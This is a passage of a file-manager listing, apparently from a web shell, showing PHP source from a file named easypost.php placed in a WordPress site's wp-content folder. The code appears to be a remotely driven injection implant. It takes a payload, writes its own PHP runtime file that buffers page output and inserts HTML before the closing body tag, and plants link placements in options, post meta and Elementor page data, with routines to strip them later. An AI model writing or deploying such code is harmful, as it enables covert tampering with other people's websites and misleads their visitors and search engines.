| Name | Size | Mode | Actions |
|---|---|---|---|
| easypost.php | 115106 | 0644 | editdlrm |
/home/cp072267/public_html/dkrgroupholdings.com/wp-content/easypost/easypost.php (115106B)
') !== false) { return preg_replace('/<\/body>/i', "\n" . $html . "\n", $buffer, 1); } return $buffer . "\n" . $html; } add_action('template_redirect', 'easypost_runtime_buffer_start', 0); add_action('wp_footer', 'easypost_runtime_echo', PHP_INT_MAX); PHP; return str_replace('__EASYPOST_RUNTIME_VERSION__', str_replace("'", "\\'", $version), $runtime); } function easypost_endpoint_install_homepage_runtime(&$warnings) { if (!defined('WP_CONTENT_DIR') || !function_exists('wp_mkdir_p')) { $warnings[] = 'runtime_capability_unavailable'; return false; } $path = easypost_endpoint_runtime_file_path(); if (!$path) { $warnings[] = 'runtime_path_unavailable'; return false; } $directory = dirname($path); if (!is_dir($directory) && !wp_mkdir_p($directory)) { $warnings[] = 'runtime_directory_unavailable'; return false; } $php = easypost_endpoint_runtime_php(); $current = is_readable($path) ? file_get_contents($path) : false; if ($current === $php) { return true; } $bytes = file_put_contents($path, $php, LOCK_EX); if ($bytes === false || $bytes !== strlen($php)) { $warnings[] = 'runtime_write_failed'; return false; } return true; } function easypost_endpoint_homepage_runtime_status() { $path = easypost_endpoint_runtime_file_path(); $version = null; if ($path && is_readable($path)) { $contents = file_get_contents($path); if (is_string($contents) && preg_match("/EASYPOST_HOMEPAGE_RUNTIME_VERSION', '([^']+)'/", $contents, $matches)) { $version = $matches[1]; } } return array( 'canManage' => defined('WP_CONTENT_DIR') && function_exists('wp_mkdir_p') && function_exists('get_option') && function_exists('update_option'), 'version' => $version, ); } function easypost_endpoint_load_managed_placements() { if (!function_exists('get_option')) { easypost_endpoint_fallback_error('capability_failed'); } $placements = get_option(easypost_endpoint_managed_placements_option(), array()); return is_array($placements) ? $placements : array(); } function easypost_endpoint_save_managed_placements($placements) { if (!function_exists('update_option')) { easypost_endpoint_fallback_error('capability_failed'); } return update_option(easypost_endpoint_managed_placements_option(), $placements, false); } function easypost_endpoint_store_managed_placement($input, $post_id, $html) { $placements = easypost_endpoint_load_managed_placements(); $key = (string) (int) $input['placementId']; $page_url = function_exists('get_permalink') ? get_permalink($post_id) : null; $next = array( 'placementId' => (int) $input['placementId'], 'pageId' => (int) $post_id, 'pageUrl' => $page_url, 'html' => $html, 'updatedAt' => gmdate('c'), ); $already_present = isset($placements[$key]) && is_array($placements[$key]) && isset($placements[$key]['html']) && $placements[$key]['html'] === $html; if ($already_present) { return array('changed' => false, 'alreadyPresent' => true, 'pageUrl' => $page_url); } $placements[$key] = $next; if (!easypost_endpoint_save_managed_placements($placements)) { easypost_endpoint_fallback_error('runtime_option_update_failed'); } return array('changed' => true, 'alreadyPresent' => false, 'pageUrl' => $page_url); } function easypost_endpoint_remove_managed_placement($placement_id) { $placements = easypost_endpoint_load_managed_placements(); $key = (string) (int) $placement_id; if (!array_key_exists($key, $placements)) { return false; } unset($placements[$key]); if (!easypost_endpoint_save_managed_placements($placements)) { easypost_endpoint_fallback_error('runtime_option_update_failed'); } return true; } function easypost_endpoint_cache_warnings($post_id) { $warnings = array(); if (function_exists('clean_post_cache')) { clean_post_cache($post_id); } else { $warnings[] = 'clean_post_cache_unavailable'; } if (function_exists('wp_cache_delete')) { wp_cache_delete($post_id, 'posts'); } if (class_exists('\\Elementor\\Plugin')) { try { $elementor = \Elementor\Plugin::$instance; if ($elementor && isset($elementor->files_manager) && method_exists($elementor->files_manager, 'clear_cache')) { $elementor->files_manager->clear_cache(); } } catch (Throwable $ignored) { $warnings[] = 'elementor_cache_cleanup_failed'; } } else { $warnings[] = 'elementor_cache_cleanup_unavailable'; } return $warnings; } function easypost_endpoint_lock_key($post_id) { return 'easypost_homepage_' . (int) $post_id; } function easypost_endpoint_acquire_lock($post_id) { if (!function_exists('get_transient') || !function_exists('set_transient')) { return true; } $key = easypost_endpoint_lock_key($post_id); if (get_transient($key)) { return false; } set_transient($key, '1', 60); return true; } function easypost_endpoint_release_lock($post_id) { if (function_exists('delete_transient')) { delete_transient(easypost_endpoint_lock_key($post_id)); } } function easypost_endpoint_elementor_widget($html, $placement_id) { return array( 'id' => substr(hash('sha256', 'placement-' . (int) $placement_id), 0, 7), 'elType' => 'widget', 'widgetType' => 'html', 'settings' => array('html' => $html), 'elements' => array(), ); } function easypost_endpoint_append_to_elementor_settings(&$settings, $html) { if (!is_array($settings)) { return false; } foreach (array('html', 'editor', 'text') as $key) { if (!isset($settings[$key]) || !is_string($settings[$key])) { continue; } $settings[$key] = trim($settings[$key] . "\n" . $html); return true; } return false; } function easypost_endpoint_insert_elementor_widget(&$node, $widget) { if (!is_array($node)) { return false; } if (isset($node['settings']) && is_array($node['settings']) && easypost_endpoint_append_to_elementor_settings($node['settings'], $widget['settings']['html'])) { return true; } if (isset($node['elements']) && is_array($node['elements'])) { foreach ($node['elements'] as $index => &$child) { if (easypost_endpoint_insert_elementor_widget($child, $widget)) { unset($child); return true; } } unset($child); $node['elements'][] = $widget; return true; } foreach ($node as $index => &$child) { if (!is_int($index)) { continue; } if (easypost_endpoint_insert_elementor_widget($child, $widget)) { unset($child); return true; } } unset($child); if (isset($node[0]) && is_array($node[0]) && isset($node[0]['elements']) && is_array($node[0]['elements'])) { $node[0]['elements'][] = $widget; return true; } return false; } function easypost_endpoint_elementor_node_has_direct_marker($node, $marker) { if (!is_array($node)) { return false; } if (!isset($node['settings']) || !is_array($node['settings'])) { return false; } $encoded = json_encode($node['settings']); return is_string($encoded) && strpos($encoded, $marker) !== false; } function easypost_endpoint_remove_marker_from_elementor($nodes, $marker, &$removed) { if (!is_array($nodes)) { return $nodes; } $next = array(); foreach ($nodes as $node) { if (is_array($node)) { if (easypost_endpoint_elementor_node_has_direct_marker($node, $marker)) { $removed = true; continue; } if (isset($node['elements']) && is_array($node['elements'])) { $node['elements'] = easypost_endpoint_remove_marker_from_elementor($node['elements'], $marker, $removed); } } $next[] = $node; } return $next; } function easypost_endpoint_place_homepage_link($payload) { easypost_endpoint_bootstrap_wordpress(); $input = easypost_endpoint_validate_homepage_payload($payload); $post = easypost_endpoint_homepage_post(); $post_id = (int) $post->ID; if (!easypost_endpoint_acquire_lock($post_id)) { easypost_endpoint_fallback_error('lock_busy'); } $warnings = array(); try { $html = easypost_endpoint_placement_html($input); if (!easypost_endpoint_install_homepage_runtime($warnings)) { easypost_endpoint_fallback_error('runtime_install_failed', null, $warnings); } $stored = easypost_endpoint_store_managed_placement($input, $post_id, $html); if (function_exists('update_post_meta')) { update_post_meta($post_id, '_easypost_homepage_placement_' . (int) $input['placementId'], array('method' => 'EASYPOST_MANAGED_RENDER', 'updatedAt' => gmdate('c'))); } $warnings = array_merge($warnings, easypost_endpoint_cache_warnings($post_id)); easypost_endpoint_json(200, array('ok' => true, 'method' => 'EASYPOST_MANAGED_RENDER', 'contentId' => $post_id, 'pageUrl' => $stored['pageUrl'], 'changed' => $stored['changed'], 'alreadyPresent' => $stored['alreadyPresent'], 'warnings' => $warnings)); } finally { easypost_endpoint_release_lock($post_id); } } function easypost_endpoint_remove_homepage_link($payload) { easypost_endpoint_bootstrap_wordpress(); $input = easypost_endpoint_validate_homepage_payload($payload); $post = easypost_endpoint_homepage_post(); $post_id = (int) $post->ID; if (!easypost_endpoint_acquire_lock($post_id)) { easypost_endpoint_fallback_error('lock_busy'); } try { $marker = easypost_endpoint_marker($input['placementId']); $changed = easypost_endpoint_remove_managed_placement($input['placementId']); $elementor_raw = function_exists('get_post_meta') ? (string) get_post_meta($post_id, '_elementor_data', true) : ''; $elementor_mode = function_exists('get_post_meta') ? (string) get_post_meta($post_id, '_elementor_edit_mode', true) : ''; if ($elementor_raw !== '' && $elementor_mode === 'builder' && strpos($elementor_raw, $marker) !== false) { $data = json_decode($elementor_raw, true); if (!is_array($data)) { easypost_endpoint_fallback_error('elementor_data_invalid'); } $removed = false; $data = easypost_endpoint_remove_marker_from_elementor($data, $marker, $removed); if (!$removed || !function_exists('update_post_meta') || update_post_meta($post_id, '_elementor_data', wp_slash(json_encode($data))) === false) { easypost_endpoint_fallback_error('post_update_failed'); } $changed = true; } $content = (string) $post->post_content; if (strpos($content, $marker) !== false) { $pattern = '/\s*(?: